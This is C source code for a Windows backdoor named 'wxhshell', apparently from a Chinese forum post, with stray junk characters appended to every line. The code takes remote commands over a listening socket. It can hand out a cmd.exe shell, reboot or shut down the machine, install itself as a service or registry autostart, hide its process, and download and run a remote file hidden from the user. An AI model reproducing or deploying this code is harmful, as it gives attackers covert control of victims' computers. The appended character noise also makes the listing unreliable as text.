  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %$~?DDNM  
  else 1YTnOiYS1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]O,!B''8k  
  } CGbW] D$@  
  else { ",B92[}Ar  
xzyV| (  
    switch(cmd[0]) { 5dXC  
  EZ8Ih,j9  
  // 帮助 W&A22jO.1  
  case '?': { ']Nw{}eS`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v< xe(dC  
    break; j;=+5PY  
  } MV-fDqA(  
  // 安装 3G~ T_J&  
  case 'i': { B;SYO>.W  
    if(Install()) PxM]3Aoa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gm}ecW  
    else LrX7WI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %i]q} M  
    break; JcvWE $  
    } g|9' Lk  
  // 卸载 R.Ao%VT  
  case 'r': { 8*V3g_z  
    if(Uninstall()) :5L9tNr{_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NJ/6_e  
    else R Q X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nBgksB*A  
    break; ?}D@{%O3T  
    } Ep|W>  
  // 显示 wxhshell 所在路径 aW$sd)  
  case 'p': { a<kx95  
    char svExeFile[MAX_PATH]; .8<bz4  
    strcpy(svExeFile,"\n\r"); 5)wz`OS  
      strcat(svExeFile,ExeFile); razVO]]E  
        send(wsh,svExeFile,strlen(svExeFile),0); ?dl7!I@<E<  
    break; .,)NDG4Q  
    } 0V uG(O  
  // 重启 @{+c6.*}  
  case 'b': { s_N?Y)lS+(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6 wYd)MDLL  
    if(Boot(REBOOT)) lM3UjR|@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n-be8p)-  
    else { *r6+Vz  
    closesocket(wsh); XkHO=  
    ExitThread(0); oP$NTy[  
    } QmT L-  
    break; OxqK} %=Bw  
    } V*@pmOhz  
  // 关机 EJ`JN|,M  
  case 'd': { YLVIn_\}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @/@#,+  
    if(Boot(SHUTDOWN)) E?l_ *[G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;?"]S/16,  
    else { ,]gYy00w0s  
    closesocket(wsh); r?{tu82#i  
    ExitThread(0); t7pe)i,)  
    } qgbp-A!2zF  
    break; <Td4 o&JR  
    } Wf^6:  
  // 获取shell K9\`Wu_qL  
  case 's': { ne4j_!V{Mf  
    CmdShell(wsh); 2%y}El^+_  
    closesocket(wsh); _5uzu6:y  
    ExitThread(0); 56;lB$)"  
    break; Cb~_{$A  
  }  /~yk  
  // 退出 v@_b"w_TY  
  case 'x': { ~5<-&Dyp7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); I,OEor6%R(  
    CloseIt(wsh); h[b;_>7  
    break; O~N0JK_>  
    } 6nV]Ec~3[  
  // 离开 ~L)9XK^15  
  case 'q': { n dgG1v%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `h*)PitRa  
    closesocket(wsh); 8@^=k.5IK  
    WSACleanup(); )R.y>Ucb0  
    exit(1); 1K.i>]}>  
    break; Q%o:*(x[O  
        } *~~ >?  
  } u )cc  
  } g)c<\%  
J8>y2rAi  
  // 提示信息 DUUQz:?{J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >0z(+}]3z  
} e~w-v"'  
  } 7SOi9JU_  
49q\/  
  return; FJDx80J  
} o{5es  
th]1> .  
// shell模块句柄 ys`"-o[*  
int CmdShell(SOCKET sock) pT\>kqmj  
{ \yP\@cpY{  
STARTUPINFO si; ,) ^4H>~V  
ZeroMemory(&si,sizeof(si)); K;Qlg{v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V+myGsr`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ejP273*ah  
PROCESS_INFORMATION ProcessInfo; f-6-!  
char cmdline[]="cmd"; H/n3il_-I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &~Qi+b0!  
  return 0; 5]D"y Ay81  
} (!`TO{!6P  
j#mo Vq  
// 自身启动模式 7<;87t]]  
int StartFromService(void) y ,e# e`  
{ is @8x!c  
typedef struct h8OmO5/H  
{ qP=4D 9 ]  
  DWORD ExitStatus; J%]< /J  
  DWORD PebBaseAddress; -8H0f- 1  
  DWORD AffinityMask; Wm_:1~  
  DWORD BasePriority; !cS A|C  
  ULONG UniqueProcessId; C{AVV<  
  ULONG InheritedFromUniqueProcessId; WfYu-TK *  
}   PROCESS_BASIC_INFORMATION; *F7ksLH|q  
AG/?LPJ  
PROCNTQSIP NtQueryInformationProcess; yzJ VU0s  
\1x<bx/1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; M_asf7|v  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kH:! 7L_=  
F} d>pK9fn  
  HANDLE             hProcess; VA{2a7]  
  PROCESS_BASIC_INFORMATION pbi; cYHHCaCS  
], Xva`"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7J?`gl&C  
  if(NULL == hInst ) return 0; $KDH"J  
%6c[\ubr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M{\W$xPL)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #'s}=i}y"C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `j+[JMr  
/sHWJ?`&/,  
  if (!NtQueryInformationProcess) return 0; 4E\Jk5co,  
h2M>4c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zq\YZ:JC  
  if(!hProcess) return 0; *UM=EQaYk  
+*/XfPlr|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5y3V duE  
L9L!V"So1k  
  CloseHandle(hProcess); ,.Xqb~  
kaybi 0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cF6eMml;  
if(hProcess==NULL) return 0; lU6?p")F1  
2 VgFP3  
HMODULE hMod; UOh % "h  
char procName[255]; \Nd8,hE  
unsigned long cbNeeded; CF"u8yE  
'Bul_D4B  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Dxj&9Ra  
x%<oeM3U  
  CloseHandle(hProcess); ?&v+-4%4PI  
0V:7pSC{P  
if(strstr(procName,"services")) return 1; // 以服务启动 F/1B>2$`  
<*O~?=6p  
  return 0; // 注册表启动 QAs$fi}f]s  
} wCT. (d_  
-n.ltgW@   
// 主模块 G .PzpBA  
int StartWxhshell(LPSTR lpCmdLine) 9em?2'ysa  
{ y"5>O|`  
  SOCKET wsl; c*iZ6j"iI  
BOOL val=TRUE; w,uyN  
  int port=0; 9k5$rK`  
  struct sockaddr_in door; "zpc)'$ L=  
.v<Q-P\8/  
  if(wscfg.ws_autoins) Install(); eRV4XB:  
cPQUR^!5  
port=atoi(lpCmdLine); 0A$x'pU)  
k.UQT^.  
if(port<=0) port=wscfg.ws_port; dw6U}  
aE]/w1a  
  WSADATA data; kTJz .  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; GJ1ap^k  
l]:nncpns  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2|2'?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kY e3A &J  
  door.sin_family = AF_INET; fyb:eO}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h?UUd\RU)  
  door.sin_port = htons(port); T&@xgj|!)  
WKjE^u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d5aG6/  
closesocket(wsl); ){'Ef_/R  
return 1; Na6z1&wS  
} <K6:"  
S(bYN[U  
  if(listen(wsl,2) == INVALID_SOCKET) { RZKdh}B?\  
closesocket(wsl); 2h Wtpus  
return 1; 8Jnl!4  
} (~}P.?C8  
  Wxhshell(wsl); G:u-C<^'  
  WSACleanup(); AHg:`Wjv-  
'!$g<= @  
return 0; d46PAA{'  
a!OS2Tz:  
} TgFj- "L\  
j%7N\Vb  
// 以NT服务方式启动 tXlo27J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1Z. D3@  
{ 4$HU=]b6Tf  
DWORD   status = 0; UJ hmhI  
  DWORD   specificError = 0xfffffff; ED0Vlw+1  
f=$w,^)M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; v$H=~m  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >%x N?%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fMGL1VN  
  serviceStatus.dwWin32ExitCode     = 0; /&PRw<}>_o  
  serviceStatus.dwServiceSpecificExitCode = 0; EL--?<g  
  serviceStatus.dwCheckPoint       = 0; ]f%yeD  
  serviceStatus.dwWaitHint       = 0; ape \zZCV  
qM~;Q6{v  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +>v3&[lGv  
  if (hServiceStatusHandle==0) return; !|\$|m<n  
rGNYu\\  
status = GetLastError(); % ~!A,  
  if (status!=NO_ERROR) 2h_XfY'3pX  
{ k/U1 :9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; WAd5,RZ?  
    serviceStatus.dwCheckPoint       = 0; Ib8*rL0p<L  
    serviceStatus.dwWaitHint       = 0; {=Z xF  
    serviceStatus.dwWin32ExitCode     = status; >v sy P  
    serviceStatus.dwServiceSpecificExitCode = specificError; B~\mr{|u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ](^$5Am  
    return; H%`$@U>  
  } 1R}rL#h;=  
A }(V2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S-^:p5{r  
  serviceStatus.dwCheckPoint       = 0; T/m4jf2  
  serviceStatus.dwWaitHint       = 0; Z4&,KrV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V*}xlxSL  
} &oU) ,H  
NU]+ {7  
// 处理NT服务事件,比如:启动、停止 ?%QWpKO7X  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]npsclvJ  
{ .dbZ;`s  
switch(fdwControl) %S'gDCwq  
{ 0.MD_s0)>  
case SERVICE_CONTROL_STOP: IjshxNk  
  serviceStatus.dwWin32ExitCode = 0; /b|V=j}W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :NHP,"  
  serviceStatus.dwCheckPoint   = 0; pm)kocG  
  serviceStatus.dwWaitHint     = 0; Wqy\yS [  
  { =sp5.-r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a/@F?\A  
  } Fl{@B*3@w  
  return; jV}tjwq  
case SERVICE_CONTROL_PAUSE: *6C ]CS  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; E4C yW  
  break; ZqONK^  
case SERVICE_CONTROL_CONTINUE: PU& v{gn  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; B4l*]K%  
  break; 26e.Hu  
case SERVICE_CONTROL_INTERROGATE: J*!_kg)>J  
  break; 55%j$f  
}; -za+Wa`vH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <~d3L4h*<  
} B IW?/^  
y TbOBl  
// 标准应用程序主函数 .=kXO{>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |.ZYY(}  
{ B_kjy=]O.  
6I<^wS9j_  
// 获取操作系统版本 3 |se]~  
OsIsNt=GetOsVer(); zUQn*Cio e  
GetModuleFileName(NULL,ExeFile,MAX_PATH); iNlY\67sW  
2#i*'.  
  // 从命令行安装 j\LJ{?;jC  
  if(strpbrk(lpCmdLine,"iI")) Install(); B(eC|:w[z  
*wfb~&: }  
  // 下载执行文件 Ifx EM  
if(wscfg.ws_downexe) { t.s;dlx[@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *v}3So  
  WinExec(wscfg.ws_filenam,SW_HIDE); oe4r_EkYwW  
} QEC4!$L^  
S;I>W&U  
if(!OsIsNt) { -ff@W m  
// 如果时win9x,隐藏进程并且设置为注册表启动 ><HHO (74X  
HideProc(); )j_Y9`R  
StartWxhshell(lpCmdLine); 8kRqF?rbj  
} 2F z;TNS  
else MsD@pa  
  if(StartFromService()) lTR/o  
  // 以服务方式启动 tCVaRP8eC+  
  StartServiceCtrlDispatcher(DispatchTable); 0etJ, _">  
else 3g{T+c*  
  // 普通方式启动 ;^"#3_7T]  
  StartWxhshell(lpCmdLine); SjmWlf,  
jYxmU8  
return 0; B-.QGf8K.  
}
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只看该作者 1 发表于: 2006-10-10
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